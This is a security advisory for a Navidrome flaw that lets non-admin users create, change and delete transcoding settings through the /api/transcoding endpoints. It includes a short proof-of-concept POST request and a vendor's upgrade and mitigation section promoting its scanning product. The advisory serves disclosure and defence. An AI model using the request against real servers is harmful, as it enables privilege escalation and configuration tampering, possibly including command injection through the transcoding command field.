Description
Summary
A permission verification flaw in Navidrome allows any authenticated regular user to bypass authorization checks and perform administrator-only transcoding configuration operations, including creating, modifying, and deleting transcoding settings.
Details
Navidrome supports transcoding functionality which, although disabled by default, should restrict configuration operations to administrators only. However, the application fails to properly validate whether a user has administrative privileges when handling transcoding configuration requests.
The vulnerability exists in the API endpoints that manage transcoding settings. When a regular user sends requests to these endpoints, the application processes them without verifying if the user has administrative privileges, despite the JWT token clearly indicating the user is not an administrator ("adm":false).
The affected endpoints include:
POST /api/transcoding(Create transcoding configuration)PUT /api/transcoding/:id(Update transcoding configuration)DELETE /api/transcoding/:id(Delete transcoding configuration)GET /api/transcoding(List transcoding configurations)
PoC
- Set up Navidrome with transcoding enabled
- Log in as a regular user (non-administrator)
- Send the following HTTP request:
POST /api/transcoding HTTP/1.1

{"defaultBitRate":192,"name":"trans6","command":"tran6","targetFormat":"tran6"}
- The request will succeed despite the JWT token clearly indicating the user is not an administrator (
"adm":false) - The same operation can be performed with administrator credentials, confirming that no authorization check is being performed
Impact
This vulnerability allows regular users to modify critical system configurations that should be restricted to administrators only. While Navidrome does not recommend enabling transcoding in production environments, when it is enabled, proper authorization checks should still be enforced.
The security impact includes:
- Privilege Escalation: Regular users can perform administrator-only actions
- System Configuration Tampering: Unauthorized users can modify transcoding settings, potentially affecting system performance or functionality
- Potential Command Injection: Since transcoding settings include command parameters, this could potentially lead to command injection if not properly sanitized
In the threat model where administrators are trusted but regular users are not, this vulnerability represents a significant security risk when transcoding is enabled.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/navidrome/navidrome, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/navidrome/navidrome to 0.56.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f238-rggp-82m3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-f238-rggp-82m3 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-f238-rggp-82m3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f238-rggp-82m3 in your dependencies?
O3 Security finds GHSA-f238-rggp-82m3 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.
